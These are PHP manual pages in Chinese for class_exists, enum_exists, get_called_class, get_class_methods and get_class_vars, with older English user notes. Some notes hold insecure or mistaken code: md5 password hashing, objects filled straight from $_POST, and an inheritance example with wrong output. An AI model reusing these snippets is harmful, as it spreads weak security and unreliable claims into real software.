User Contributed Notes

info at ensostudio dot ru 16-Sep-2020 06:54
Note: class_exists() check only classes!
<?php
interface DemoInterface {};
var_dump(class_exists('DemoInterface')); // false
trait DemoTrait {};
var_dump(class_exists('DemoTrait')); // false
class DemoClass {};
var_dump(class_exists('DemoClass')); // true
?>

Common function:
<?php
/**
  * Checks if the class/trait/interface has been defined.
  *
  * @param string $name The case-insensitive name of class/trait/interface
  * @param bool $autoload Whether to call spl_autoload()
  * @return bool
  */
function structure_exists(string $name, bool $autoload = true): bool
{
       return class_exists($name, $autoload)
              || interface_exists($name, $autoload)
              || trait_exists($name, $autoload);
}
?>
rn at alpha9marketing dot com 06-Apr-2014 05:55
Beware: class_exists is case-INsensitive, as is class instantiation.

php > var_dump(class_exists("DomNode"));
bool(true)
php > var_dump(class_exists("DOMNode"));
bool(true)
php > var_dump(class_exists("DOMNodE"));
bool(true)
php > $x = new DOMNOdE();
php > var_dump(get_class($x));
string(7) "DOMNode"

(tested with PHP 5.5.10 on Linux)

This can cause some headaches in correlating class names to file names, especially on a case-sensitive file system.
spam at wikicms dot org 09-Dec-2013 02:43
Hi guys!
Be careful  and don't forget about second boolean argument $autoload (TRUE by default) when check exists class after spl_autoload_register. Propose short example
file second.php
<?php
class Second {}
?>
file index.php
<?php
class First
{
    function first($class, $bool) {
        spl_autoload_register( function($class) {
            require strtolower($class) . '.php';
        });
        echo class_exists($class, $bool)?'Exist!!!!':'Not exist!';
    }
}

new First($class = 'Second', $bool = true); //Exist!!!!
new First($class = 'Second', $bool = false); //Not exist!
?>
Because __autoload executing much earlier than boolean returned, imho..
giunta dot gaetano at gmail dot com 31-Oct-2013 05:28
If you are using aliasing to import namespaced classes, take care that class_exists will not work using the short, aliased class name - apparently whenever a class name is used as string, only the full-namespace version can be used

use a\namespaced\classname as coolclass;

class_exists( 'coolclass' ) => false
toocoolone at gmail dot com 14-Feb-2012 06:47
I'm running PHP 5.3.4 on Windows 7 and had some difficulty autoloading classes using class_exists(). In my case, when I checked for the class and it didn't exist, class_exists automatically threw a system Exception. I was also throwing my own exception resulting in an uncaught exception.

<?php
/**
 * Set my include path here
 */
$include_path = array( '/include/this/dir', '/include/this/one/too' );
set_include_path( $include_path );
spl_autoload_register();
/**
 * Assuming I have my own custom exception handler (MyException) let's
 * try to see if a file exists.
 */
try {
    if( ! file_exists( 'myfile.php' ) ) {
        throw new MyException('Doh!');
    }
    include( 'myfile.php' );
}
catch( MyException $e ) {
    echo $e->getMessage();
}
/**
 * The above code either includes myfile.php or throws the new MyException
 * as expected. No problem right? The same should be true of class_exists(),
 * right? So then...
 */
$classname = 'NonExistentClass';
try {
    if( ! class_exists( $classname ) ) {
        throw new MyException('Double Doh!');
    }
    $var = new $classname();
}
catch( MyException $e ) {
    echo $e->getMessage();
}
/**
* Should throw a new instance of MyException. But instead I get an
* uncaught LogicException blah blah blah for the default Exception
* class AND MyException. I only catch MyException so we've got on
* uncaught resulting in the dreaded LogicException error.
*/
?>

By registering an additional autoload handler function that did nothing, I was able to stop throwing the extra Exception and only throw my own.

<?php
/**
 * Set my include path here
 */
$include_path = array( '/include/this/dir', '/include/this/one/too' );
set_include_path( $include_path );
spl_autoload_register();
spl_autoload_register( 'myAutoLoad' ); // Add these two and no worries...
function myAutoLoad() {}
/**
 * By registering the additional custom autoload function that does nothing
 * class_exists() returns only boolean and does NOT throw an uncaught Exception
 */
?>

Found this buried in some search results. I don't remember the page URL but if it would have been here it might have saved me some time!
Klaus 28-Apr-2010 04:21
If you recursively load several classes inside an autoload function (or mix manual loading and autoloading), be aware that class_exists() (as well as get_declared_classes()) does not know about classes previously loaded during the *current* autoload invocation.

Apparently, the internal list of declared classes is only updated after the autoload function is completed.
azrael dot com at gmail dot com 11-Dec-2008 04:14
If spl_autoload_register() had been called, then function will try autoload class if it does not exists.

Use instead
<?php
in_array($class_name, get_declared_classes());
?>
richard at richard-sumilang dot com 27-Mar-2008 12:56
[ >= PHP 5.3]

If you are checking if a class exists that is in a specific namespace then you have to pass in the full path to the class:

echo (class_exists("com::richardsumilang::common::MyClass")) ? "Yes" : "No";
anonymous at somewhere dot tld 17-Jul-2003 12:20
If you have a directory of classes you want to create. (Modules in my instance)... you can do it like that

<?php
if (is_dir($this->MODULE_PATH) && $dh = opendir($this->MODULE_PATH)) {
   while (($file = readdir($dh)) !== false) {
      if (preg_match("/(Mod[a-zA-Z0-9]+).php/", $file, $matches)>0) {
         // include and create the class
         require_once($this->MODULE_PATH."/".$file);
         $modules[] = new $matches[1]();
      }
   }
} else {
   exit;
}
?>

//---
Here the rule is that all modules are on the form
ModModulename.php and that the class has the same name as the file.
The $modules array has all the classes initialized after this code


检测是否定义对应的枚举

  • ? class_exists
  • get_called_class ?
  • PHP Manual
  • 类/对象 函数
  • 检测是否定义对应的枚举

enum_exists

(PHP 8 >= 8.1.0)

enum_exists — 检测是否定义对应的枚举

说明

enum_exists(string $enum, bool $autoload = true): bool

本函数检测是否定义指定的枚举。

参数

enum

枚举的名称。名称的匹配不区分大小写。

autoload

如果尚未加载，是否自动加载。

返回值

如果 enum 已定义，返回 true，否则就返回 false。

示例

Example #1 enum_exists() 示例

<?php
// 在使用之前检测枚举是否存在
if (enum_exists(Suit::class)) {
$myclass = Suit::Hearts;
}
?>

参见

  • function_exists() - 如果给定的函数已经被定义就返回 true
  • class_exists() - 查类是否已经定义
  • interface_exists() - 检查接口是否已被定义
  • get_declared_classes() - 返回由已定义类的名字所组成的数组

User Contributed Notes

There are no user contributed notes for this page.


后期静态绑定（"Late Static Binding"）类的名称

  • ? enum_exists
  • get_class_methods ?
  • PHP Manual
  • 类/对象 函数
  • 后期静态绑定（"Late Static Binding"）类的名称

get_called_class

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

get_called_class — 后期静态绑定（"Late Static Binding"）类的名称

说明

get_called_class(): string

获取静态方法调用的类名。

参数

此函数没有参数。

返回值

返回类的名称。

错误／异常

如果在类外调用 get_called_class()，将抛出 Error。在 PHP 8.0.0 之前，触发 E_WARNING 级别错误。

更新日志

版本 | 说明
8.0.0 | 类外调用此函数现在将触发 Error。 之前触发 E_WARNING 并且函数返回 false。

示例

Example #1 get_called_class() 的使用

<?php

class foo {
static public function test() {
var_dump(get_called_class());
}
}

class bar extends foo {
}

foo::test();
bar::test();

?>

以上示例会输出：

string(3) "foo"
string(3) "bar"

参见

  • get_parent_class() - 检索对象或者类的父级类名
  • get_class() - 返回对象的类名
  • is_subclass_of() - 检查对象是否继承或者实现（implement）此类

User Contributed Notes

amcolin at 126 dot com 24-Mar-2020 07:08
namespace root;
class Factor {
    protected static $instance = null;

    private function __construct() {

    }

    public static function getInstance() {
        if (!self::$instance) {
            $name           = get_called_class();
            self::$instance = new $name();
        }

        return self::$instance;
    }
}

namespace admin\test;

use root\Factor;

class Single extends Factor {
    public function abc() {
        return 'abc';
    }
}

namespace index;

use admin\test\Single;

class Index {
    public function get() {
        return Single::getInstance();
    }
}

$index = new Index();
var_dump($index->get());

The result is:

object(admin\test\Single)#2 (0) {
}
fantomx1 at gmail dot com 12-Sep-2017 03:57
When calling dynamic method statically in php 5.6 (under 7) it allows it, but it doesnt work, it incorrectly evaluates class that called our subject class, therefore containing method must be static.
Safak Ozpinar 24-Sep-2014 07:00
As of PHP 5.5 you can also use "static::class" to get the name of the called class.

<?php
class Bar {
    public static function test() {
        var_dump(static::class);
    }
}

class Foo extends Bar {

}

Foo::test();
Bar::test();
?>

Output:

string(3) "Foo"
string(3) "Bar"
luc at s dot illi dot be 05-Feb-2013 03:09
get_called_class() in closure-scopes:

<?PHP
    ABSTRACT CLASS Base
    {
        protected static $stub = ['baz'];

        //final public function boot()
        static public function boot()
        {
            print __METHOD__.'-> '.get_called_class().PHP_EOL;

            array_walk(static::$stub, function()
            {
                print __METHOD__.'-> '.get_called_class().PHP_EOL;
            });
        }

        public function __construct()
        {
            self::boot();
            print __METHOD__.'-> '.get_called_class().PHP_EOL;

            array_walk(static::$stub, function()
            {
                print __METHOD__.'-> '.get_called_class().PHP_EOL;
            });
        }
    }

    CLASS Sub EXTENDS Base
    {
    }

    // static boot
        Base::boot(); print PHP_EOL;
            // Base::boot        -> Base
            // Base::{closure}    -> Base

        Sub::boot(); print PHP_EOL;
            // Base::boot        -> Sub
            // Base::{closure}    -> Base

        new sub;
            // Base::boot        -> Sub
            // Base::{closure}    -> Base
            // Base->__construct    -> Sub
            // Base->{closure}    -> Sub

    // instance boot
        new sub;
            // Base->boot        -> Sub
            // Base->{closure}    -> Sub
            // Base->__construct    -> Sub
            // Base->{closure}    -> Sub
?>
uebele 06-Apr-2011 09:14
SEE: http://php.net/manual/en/language.oop5.late-static-bindings.php

I think it is worth mentioning on this page, that many uses of the value returned by get_called_function() could be handled with the new use of the old keyword static, as in
<?php
static::$foo;
?>

versus
<?php
$that=get_called_class();
$that::$foo;
?>

I had been using $that:: as my conventional replacement for self:: until my googling landed me the url above.  I have replaced all uses of $that with static with success both as
<?php
static::$foo; //and...
new static();
?>

Since static:: is listed with the limitation: "Another difference is that static:: can only refer to static properties." one may still need to use a $that:: to call static functions; though I have not yet needed this semantic.
Abhi Beckert 28-Oct-2009 08:41
Beware that this does not behave as expected if your method is not declared as static! For example:

<?php

class foo {
  static public function test() {
    var_dump(get_called_class());
  }

  public function testTwo() {
    var_dump(get_called_class());
  }
}

class bar extends foo {
}

class abc {
  function test() {
    foo::test();
    bar::test();
  }

  function testTwo() {
    foo::testTwo();
    bar::testTwo();
  }
}

echo "basic\n";
foo::test();
bar::test();

echo "basic without static declaration\n";
foo::testTwo();
bar::testTwo();

echo "in a class\n";
$abc = new abc();
$abc->test();

echo "in a class without static declaration\n";
$abc->testTwo();

?>

The result is:

basic
string 'foo'
string 'bar'

basic without static declaration
string 'foo'
string 'bar'

in a class
string 'foo'
string 'bar'

in a class without static declaration
string 'abc'
string 'abc'
php at itronic dot at 07-Aug-2009 06:53
If you call a static getInstance() function to create a instance of a class from another class, this function have to be static, if it is not static the original name of the caller class and not of the current class get returned.

example:

<?php

class a {
  function getXName() {
     return x::getClassName();
  }
  function getXStaticName() {
     return x::getStaticClassName();
  }

}

class b extends a {
}

class x {
  public function getClassName() {
    return get_called_class();
  }
  public static function getStaticClassName() {
    return get_called_class();
  }
}

$a = new a();

$b = new b();

echo $a->getXName(); // will return "a"
echo $b->getXName(); // will return "b"

echo $a->getXStaticName(); // will return "x"
echo $b->getXStaticName(); // will return "x"

?>
a dot cudbard-bell at sussex dot ac dot uk 21-Feb-2009 10:03
Here's a simple way of getting the inheritance tree of a class, no matter which class the function was actually defined in. Will work as a static function method too.

<?php
class A {
    public function get_class_tree(){
        $cur_class = get_called_class();
        do {
            echo $cur_class;
        }
        while($cur_class = get_parent_class($cur_class));
    }
}

class B {

}

class C {

}

$foo = new C();
$foo->get_class_tree();

?>

CBA
danbettles at yahoo dot co dot uk 08-Oct-2008 12:00
It is possible to write a completely self-contained Singleton base class in PHP 5.3 using get_called_class.

<?php

abstract class Singleton {

    protected function __construct() {
    }

    final public static function getInstance() {
        static $aoInstance = array();

        $calledClassName = get_called_class();

        if (! isset ($aoInstance[$calledClassName])) {
            $aoInstance[$calledClassName] = new $calledClassName();
        }

        return $aoInstance[$calledClassName];
    }

    final private function __clone() {
    }
}

class DatabaseConnection extends Singleton {

    protected $connection;

    protected function __construct() {
        // @todo Connect to the database
    }

    public function __destruct() {
        // @todo Drop the connection to the database
    }
}

$oDbConn = new DatabaseConnection();  // Fatal error

$oDbConn = DatabaseConnection::getInstance();  // Returns single instance
?>


返回由类的方法名组成的数组

  • ? get_called_class
  • get_class_vars ?
  • PHP Manual
  • 类/对象 函数
  • 返回由类的方法名组成的数组

get_class_methods

(PHP 4, PHP 5, PHP 7, PHP 8)

get_class_methods — 返回由类的方法名组成的数组

说明

get_class_methods(object|string $object_or_class): array

获取类的方法名称列表。

参数

object_or_class

类名或者对象实例。

返回值

返回由 object_or_class 指定的类中定义的方法名所组成的数组。

更新日志

版本 | 说明
8.0.0 | object_or_class 参数现在只接受对象或者有效的类名。

示例

Example #1 get_class_methods() 示例

<?php

class myclass {
// 构造方法
function __construct()
{
return(true);
}

// 方法 1
function myfunc1()
{
return(true);
}

// 方法 2
function myfunc2()
{
return(true);
}
}

$class_methods = get_class_methods('myclass');
// 或者
$class_methods = get_class_methods(new myclass());

foreach ($class_methods as $method_name) {
echo "$method_name\n";
}

?>

以上示例会输出：

__construct
myfunc1
myfunc2

参见

  • get_class() - 返回对象的类名
  • get_class_vars() - 获取类的默认属性
  • get_object_vars() - 获取指定对象的属性

User Contributed Notes

iarias at loyalia dot es 21-Feb-2018 12:19
If you only need the methods declared by the class, and not the parent classes ones, you can do something like:

$declared_methods = array_diff(get_class_methods($class), get_class_methods(get_parent_class($class)));
polarglow06 at gmail dot com 18-Nov-2015 06:09
I have created a very simple test runner using this function

function get_bar($text) {
    $bar = "";
    for($i=1; $i<=strlen($text); $i++) {
        $bar .= "=";
    }
    return $bar;
}
class Tester {
    function __construct() {
        $this->run_tests();
    }
    // run the tests
    function run_tests() {
        print("Tester by Minhajul Anwar \n");
        $class = get_class($this);
        $test_methods = preg_grep('/^test/', get_class_methods($this));
        foreach($test_methods as $method) {
            $start_rep = "test: $class::$method";
            $bar = get_bar($start_rep);
            print("\n$start_rep\n$bar\n");
            $this->$method();
            print("\n");
        }
    }
}

now you just need to write your test class with tegst methods prefixed by 'test', and then just instantiate object of that test class of your, all those tests methods will get run automatically
The drawback is: your test methods must not accept any arguments

an example:
require '../autoload.php';
register_autoload_paths(realpath('./'));

class Test_Test extends Tester {
    function test_something() {
        print("method got executed");
    }
    function testAnotherThing() {
    print("another test method");
    }
}

$Test = new Test_Test();
fschmengler at sgh-it dot eu 08-Jan-2010 04:40
It should be noted that the returned methods are dependant on the current scope. See this example:

<?php
class C
{
    private function privateMethod()
    {

    }
    public function publicMethod()
    {

    }
    public function __construct()
    {
        echo '$this:';
        var_dump(get_class_methods($this));
        echo 'C (inside class):';
        var_dump(get_class_methods('C'));
    }
}
$c = new C;
echo '$c:';
var_dump(get_class_methods($c));
echo 'C (outside class):';
var_dump(get_class_methods('C'));
?>

Output:

$this:
array
  0 => string 'privateMethod' (length=13)
  1 => string 'publicMethod' (length=12)
  2 => string '__construct' (length=11)

C (inside class):
array
  0 => string 'privateMethod' (length=13)
  1 => string 'publicMethod' (length=12)
  2 => string '__construct' (length=11)

$c:
array
  0 => string 'publicMethod' (length=12)
  1 => string '__construct' (length=11)

C (outside class):
array
  0 => string 'publicMethod' (length=12)
  1 => string '__construct' (length=11)
php at stock-consulting dot com 06-Feb-2007 02:40
Note that this function will answer both class AND instance methods ("class methods" are called "static" in PHP). Sort of a little "trap" for people who have in-depth experience with the OO terminology :-)
BoD 15-Mar-2006 07:09
!Concerning PHP5 Only!

If you want to get all methods/functions from a class you can do this with the get_class_methods function.
<?php
    $arrMethodNames = get_class_methods ( $ClassNameOrObject);
?>
However the drawback on this function in PHP5 is that you will NOT receive protected and private methods of a class/object if you are calling the method from another class/object context.

If you want to receive all methods of a given Class in another Class you should use the PHP5 Reflection API. The following source allows to retrieve all methods from a derived class in its (abstract) Base Class.

In the example you need to call the base constructor from the derived classes constructor in order to let the base class know the name of the derived class. Use the "__CLASS__" definition for passing the classname of current class to its base class.

<?php

    // Base Class - Abstract
    abstract class A {

        // Array of ReflectionMethod Objects
        // is being set upon instanciation
        // derived Classes don't need to know about this array
        private $arrMethods;

        // Constructor which MUST be called from derived Class Constructor
        protected function __construct ( $strDerivedClassName ) {
            $oRefl = new ReflectionClass ( $strDerivedClassName );
            if ( is_object($oRefl) ) {
                $this->arrMethods = $oRefl->getMethods();
            }
        }

        // Some abstract function
        abstract protected function D ();

        // Some private function
        private function E() {
        }

        // method to print all class/object methods
        // must be callable from derived classes
        // can be protected if only for internal class use
        public function PrintAllMethods () {
            foreach ( $this->arrMethods as $curReflectionMethod ) {
                echo $curReflectionMethod->getName()."<br>";
            }
        }
    }

    // Derived Class
    class B extends A {

        // Constructor for this class
        // MUST call Base Constructor
        public function __construct () {
            // Call Base Constructor
            parent::__construct(__CLASS__);
        }

        // Some public function
        public function A () {
        }

        // some protected function
        protected function B () {
        }

        // some private function
        private function C() {
        }

        // some abstract method from base class implemented
        protected function D () {
        }
    }

    // Create new B Object
    $b = new B();
    // Print all Methods of this Object/Class
    $b->PrintAllMethods();
?>

In this example output will be:

__construct
A
B
C
D
E
PrintAllMethods

As you can see these are all methods from class B and also all methods from Class A respectivly in order of their declaration. Note that only one method "__construct" and only one method "D" are being shown. This is due to overloading (__construct) and implementing (D) in PHP.

In this example any further method-handling methods should be implemented in the base class as these will be available in derived classes as well. Just make sure that you use the right access specifiers for these additional methods ( private, protected, public )

BoD
jazepstein at greenash dot net dot au 16-Oct-2005 06:37
In PHP4, this function converts its return values to lowercase; but in PHP5, it leaves the return values in their original case. This can cause serious problems when trying to write code that dynamically calls a class method, and that works in both PHP4 and PHP5. This code snippet shows one way of achieving compatibility with both versions:

<?php
// Example variables - these would be dynamic in a real application.
$className = 'SomeClass';
$methodName= 'someMethod';
$args = array('arg1', 'arg2');

// Use array_map() and strtolower() to make all values returned by get_class_methods() lowercase. PHP4 does this anyway - now it will happen regardless of the PHP version being used.
$classMethods = array_map(strtolower, get_class_methods($className));

// in_array() can only handle being given an array.
if (!$classMethods) {
  $classMethods = array();
}

if (in_array(strtolower($methodName), $classMethods)) {
  // call some method
  return call_user_func_array(array($className, $methodName), $args);
}
?>
Oli Filth 11-Apr-2005 08:21
As an extension to onesimus's code below for finding inherited methods, in PHP 5 you can use the Reflection API to find which of these are overriden.

e.g.

<?php
function get_overriden_methods($class)
{
    $rClass = new ReflectionClass($class);
    $array = NULL;

    foreach ($rClass->getMethods() as $rMethod)
    {
        try
        {
            // attempt to find method in parent class
            new ReflectionMethod($rClass->getParentClass()->getName(),
                                $rMethod->getName());
            // check whether method is explicitly defined in this class
            if ($rMethod->getDeclaringClass()->getName()
                == $rClass->getName())
            {
                // if so, then it is overriden, so add to array
                $array[] .=  $rMethod->getName();
            }
        }
        catch (exception $e)
        {    /* was not in parent class! */    }
    }

    return $array;
}
?>
kabatak 20-Feb-2005 05:11
In PHP4, if you need to get_class_methods in their original case. You can use this simple function I created.

// Note: this function assumes that you only have 1 class in 1 file

$file = "path/to/myclass.php"

function file_get_class_methods ($file)
{
    $arr = file($file);
    foreach ($arr as $line)
    {
        if (ereg ('function ([_A-Za-z0-9]+)', $line, $regs))
            $arr_methods[] = $regs[1];
    }
    return $arr_methods;
}
epowell at removethis dot visi dot com 11-Oct-2004 08:47
I've figured out how to get around my issue described below, using the Reflection API.

<?
/* Pass the name of the class, not a declared handler */
function get_public_methods($className) {
    /* Init the return array */
    $returnArray = array();

    /* Iterate through each method in the class */
    foreach (get_class_methods($className) as $method) {

        /* Get a reflection object for the class method */
        $reflect = new ReflectionMethod($className, $method);

        /* For private, use isPrivate().  For protected, use isProtected() */
        /* See the Reflection API documentation for more definitions */
        if($reflect->isPublic()) {
            /* The method is one we're looking for, push it onto the return array */
            array_push($returnArray,$method);
        }
    }

    /* return the array to the caller */
    return $returnArray;
}
?>
onesimus at cox dot net 19-Jun-2004 02:32
This function will return only the methods for the object you indicate. It will strip out the inherited methods.

function get_this_class_methods($class){
    $array1 = get_class_methods($class);
    if($parent_class = get_parent_class($class)){
        $array2 = get_class_methods($parent_class);
        $array3 = array_diff($array1, $array2);
    }else{
        $array3 = $array1;
    }
    return($array3);
}
gk at proliberty dot com 01-Jun-2003 04:16
It is important to note that get_class_methods($class) returns not only methods defined by $class but also the inherited methods.

There does not appear to be any PHP function to determine which methods are inherited and which are defined explicitly by a class.
aldo at cerca dot com 21-Apr-2002 10:18
If you use "get_class_methods" to check if a Method is in a Class remember that the function return lowered name of class methods:

class classPippo
{
        function DummyFunct()
        {
                // Do nothing...
        }
}

$aClassMethods = get_class_methods(classPippo);

$sMethodName = 'DummyFunct';

// This not work...

        if (in_array($sMethodName, $aClassMethods))
        classPippo::DummyFunct();

// This work...

        if (in_array(strtolower($sMethodName), $aClassMethods))
        classPippo::DummyFunct();
matt at zevi dot net 21-Mar-2002 04:46
Win32 only:

It's probably worth noting here that you can't get the methods of an object created by the built-in 'COM' class. ie - this won't work:

$word = new COM('Word.Application');
$methods = get_class_methods(get_class($word));
print_r($methods);

Matt


获取类的默认属性

  • ? get_class_methods
  • get_class ?
  • PHP Manual
  • 类/对象 函数
  • 获取类的默认属性

get_class_vars

(PHP 4, PHP 5, PHP 7, PHP 8)

get_class_vars — 获取类的默认属性

说明

get_class_vars(string $class): array

获取指定类的默认属性。

参数

class

类名

返回值

返回从当前作用域中声明的可见属性组成的关联数组及其默认值。生成的数组元素采用 varname => value 的形式，如果出现错误，则返回 false。

示例

Example #1 get_class_vars() 示例

<?php

class myclass {

var $var1; // 这里没有默认值...
var $var2 = "xyz";
var $var3 = 100;
private $var4;

// 构造方法
function __construct() {
// change some properties
$this->var1 = "foo";
$this->var2 = "bar";
return true;
}

}

$my_class = new myclass();

$class_vars = get_class_vars(get_class($my_class));

foreach ($class_vars as $name => $value) {
echo "$name : $value\n";
}

?>

以上示例会输出：

var1 :
var2 : xyz
var3 : 100

Example #2 get_class_vars() 和作用域行为

<?php
function format($array)
{
return implode('|', array_keys($array)) . "\r\n";
}

class TestCase
{
public $a = 1;
protected $b = 2;
private $c = 3;

public static function expose()
{
echo format(get_class_vars(__CLASS__));
}
}

TestCase::expose();
echo format(get_class_vars('TestCase'));
?>

以上示例会输出：

// 5.0.0
a| * b| TestCase c
a| * b| TestCase c

// 5.0.1 - 5.0.2
a|b|c
a|b|c

// 5.0.3 +
a|b|c
a

参见

  • get_class_methods() - 返回由类的方法名组成的数组
  • get_object_vars() - 获取指定对象的属性

User Contributed Notes

flobee 16-Nov-2015 12:43
<?php
class someClass {
    public function toArray() {
        $records = array();

        foreach( $this as $key => $value ) {
                $records[$key] = $value;
        }

        return $records;
    }

}
?>
bof at bof dot de 09-Sep-2012 07:02
I needed to get only the class static variables, leaving out instance variables.

<?php
function get_static_vars($class) {
    $result = array();
    foreach (get_class_vars($class) as $name => $default)
        if (isset($class::$$name))
            $result[$name] = $default;
    return $result;
}
?>

That function returns only the public ones. The same pattern can be used inside a class, then it returns private and protected static variables, too:

<?php
static protected function get_static_vars($class = NULL) {
    if (!isset($class)) $class = get_called_class();
    $result = array();
    foreach (get_class_vars($class) as $name => $default)
        if (isset($class::$$name))
            $result[$name] = $default;
    return $result;
}
?>
Mattias Ahlbck 14-Feb-2012 09:39
get_class_vars_assoc()
- Returns an associative array with name of (parent) class(es) as key(s) and corresponding class vars as sub-arrays. My boilerplate for some crude O/R mapping.

Note: vars re-defined in sub-classes are ignored.

<?php

class GrandClass {
    public $grandVar;
    public $in_grand_and_parent;
    public $in_grand_and_child;

    public static function load() {
        print_r(self::get_class_vars_assoc());
    }

    protected static function get_class_vars_assoc() {
        $called = get_called_class();
        //echo "called: $called \n";
        $classVars[$called] = array_keys(get_class_vars($called));

        $parent = get_parent_class($called);
        while ( $parent !== FALSE ) {
            //echo "parent: $parent \n";
            $classVars[$parent] = array_keys(get_class_vars($parent));
            $classVars[$called] = array_diff($classVars[$called],
                                             $classVars[$parent]);
            if ( isset($prevParentVars) ) {
                $prevParentVars = array_diff($prevParentVars,
                                             $classVars[$parent]);
            }

            $prevParentVars = &$classVars[$parent];
            $parent = get_parent_class($parent);
        }

        return $classVars;
    }
}

class ParentClass extends GrandClass {
    public $in_grand_and_parent;
    public $parentVar;
    public $in_parent_and_child;
}

class ChildClass extends ParentClass {
    public $in_grand_and_child;
    public $in_parent_and_child;
    public $childVar;
}

ChildClass::load();

?>

Array
(
    [ChildClass] => Array
        (
            [2] => childVar
        )

    [ParentClass] => Array
        (
            [1] => parentVar
            [2] => in_parent_and_child
        )

    [GrandClass] => Array
        (
            [0] => grandVar
            [1] => in_grand_and_parent
            [2] => in_grand_and_child
        )

)
ciantic 30-Jan-2012 10:06
I propse following for getting Public members, always:
<?PHP
if (!function_exists("get_public_class_vars")) {
    function get_public_class_vars($class) {
        return get_class_vars($class);
    }
}
if (!function_exists("get_public_object_vars")) {
    function get_public_object_vars($object) {
        return get_object_vars($object);
    }
}
?>

This is to mitigate the problem and a feature that get_object_vars($this) returns private members. Running it simply outside the scope will get the public.

Iterating public members only and their defaults are enormously useful in e.g. in serialization classes such as options where each public member is an serializable that is saved and loaded.
pBakhuis at Gmail dot com 07-Oct-2011 03:08
If you need the variables before the class is included this function does not seem to work.
Use a reflection class to get around this.
http://www.php.net/reflectionclass
ken at verango dot com 04-Oct-2010 04:50
All 3 of get_object_vars, get_class_vars and reflection getDefaultProperties will reveal the name of the array.  For serialization I recommend:

<?php
$cName = get_class($this);
$varTemplate= get_class_vars($cName)
foreach ($varTemplate as $name => $defaultVal) {
  $vars[$name] = $this->$name; // gets actual val.
}
?>

No scan the $vars and create serialization string how you wish.

This protects against erroneous prior deserializing in maintaining the integrity of the class template and ignoring unintended object properties.
ianitsky at gmail dot com 10-Nov-2009 11:53
If you need get the child protected/private vars ignoring the parent vars, use like this:

<?php
class childClass extends parentClass {
    private $login;
    private $password;

    public function __set($key, $val) {
        if ($key == 'password')
            $this->$key = md5($val);
        else
            $this->$key = $val;
    }
}
class parentClass {
    public $name;
    public $email;

    function __construct() {
        $reflection = new ReflectionClass($this);
        $vars = array_keys($reflection->getdefaultProperties());
        $reflection = new ReflectionClass(__CLASS__);
        $parent_vars = array_keys($reflection->getdefaultProperties());

        $my_child_vars = array();
        foreach ($vars as $key) {
            if (!in_array($key, $parent_vars)) {
                $my_child_vars[] = $key;
            }
        }

        print_r($my_child_vars);
    }
}

$child_class = new childClass();
?>
harmor 20-Dec-2008 03:53
So I wanted to get a list of the public parameters in a child class using a static function pre-5.3.0 (< 5.3.0).  In 5.3.0+ you would use the new 'static' like you would 'self' to get the late binding.

<?php
class childClass extends parentClass
{
    public $id;
    public $name;

    public static function getFields()
    {
        return self::_getFields(__CLASS__);
    }

}
abstract class parentClass
{
    public $idInParent;
    public $nameInParent;

    abstract public static function getFields();

    final protected static function _getFields($className)
    {
        $rtn = array();
        foreach (array_keys(get_class_vars($className)) as $var) {
            $rtn[] = $var;
        }
        return $rtn;
    }

}

var_dump(childClass::getFields());
?>

Results:
array(4) {
  [0]=>
  string(2) "id"
  [1]=>
  string(4) "name"
  [2]=>
  string(10) "idInParent"
  [3]=>
  string(12) "nameInParent"
}
artktec at art-k-tec dot com 16-Nov-2007 09:18
There seems to be be a function to get constants missing , i.e. get_class_constants() ... so here is a simple function for you all. Hopefully Zend will include this in the next round as a native php call, without using reflection.

<?php
   function GetClassConstants($sClassName) {
      $oClass = new ReflectionClass($sClassName);
      return $oClass->getConstants());
   }
?>
phpnet at stccorp dot net 15-Jun-2007 05:18
This is one of the best php functions. Look at what you can do

class Object
{
   var $updtFields;//keep track of affected values
   function Object($record="") {
       if (is_array($record))
       {
          $this->updtFields = array();
          foreach(array_keys(get_class_vars(get_class($this))) as $k)
          if (isset($record[$k]))
         {
          $this->$k = $record[$k];
          $this->updtFields[] = $k;
         }
      }
   }//end of arrayToObject

   function toDebug($nl='<br>')
   {
       foreach(array_keys(get_class_vars(get_class($this))) as $k)
       echo "$k = [" . $this->$k . "]{$nl}";
    }//end of toDebug
}

Now you can do really cool things. If you have a form like
<form action="" method="post">
  <input type="text" name="name" />
  <input type="text" name="phone" />
  <input type="submit" />
</form>

and you define your class like this
class Person extends Object{
  var $name; //same same as in the form
  var $phone;
}

when you submmit the form, you can get the data like

$person = new Person($_POST);

//everything in just one line,cool!! Also if you use pear db or adodb when you get data from the database you can do the same thing except use the $row that you get from the database. Remember to ask the result is associative mode.

This is my core Object for everthing I do and it works great.
bernd at tiggerswelt dot net 29-Jan-2007 02:52
If you assign a constant value using the self-scope by default to a variable, get_class_vars() will result in a FATAL error.

Example:

<?PHP

  class Foo {
    const Bar = "error";

    public $Foo = self::Bar;
  }

  print_r(get_class_vars("Foo"));

?>

... but using "Foo::Bar" instead "self::Bar" will work ;)
gizmobits at hotmail dot com 03-Mar-2006 07:48
I wanted a simple ToString() function that was automatic and class independent.  I wanted to dump it into any of several classes and get values quickly.  I wanted to leave it there so I could customize it for each class, so an outside function wasn't suitable.  I came up with this and thought it might be useful.  Have fun!

<?php
  function ToString () {
    $s = "";
    $s .= "<table>\n";
    $s .= "<tr><td colspan=2><hr></td></tr>\n";
    foreach (get_class_vars(get_class($this)) as $name => $value) {
      $s .= "<tr><td>$name:</td><td>" . $this->$name . "</td></tr>\n";
    }
    $s .= "<tr><td colspan=2><hr></td></tr>\n";
    $s .= "</table>\n";
    return $s;
  }

?>
php dot net at sharpdreams dot com 25-Oct-2005 06:25
Contrary to multiple comments throughout the manual, get_class_vars() performed within a class can access any public, protected, and private members.

<?php
class Foo {
   public $x;
   protected $y;
   private $z;
   public function __sleep() {
      return( get_class_vars( __CLASS__ ) );
   }
}
?>

works fine (returns x, y, & z). However, given the same class as above,

<?php
print_r( get_class_vars( "Foo" ) );
?>

will NOT return x, y, & z. Instead it will only return the public members (in our case, z).
alan_k at php dot net 21-Jan-2005 07:23
in PHP5 to get all the vars (including private etc.) use:

$reflection = new ReflectionClass($class);
$defaults = $reflection->getdefaultProperties();
rec at NOSPAM dot instantmassacre dot com 23-Jan-2003 04:23
If you want to retrieve the class vars from within the class itself, use $this.

<?php
class Foo {

    var $a;
    var $b;
    var $c;
    var $d;
    var $e;

    function GetClassVars()
    {
        return array_keys(get_class_vars(get_class($this))); // $this
    }

}

$Foo = new Foo;

$class_vars = $Foo->GetClassVars();

foreach ($class_vars as $cvar)
{
    echo $cvar . "<br />\n";
}
?>

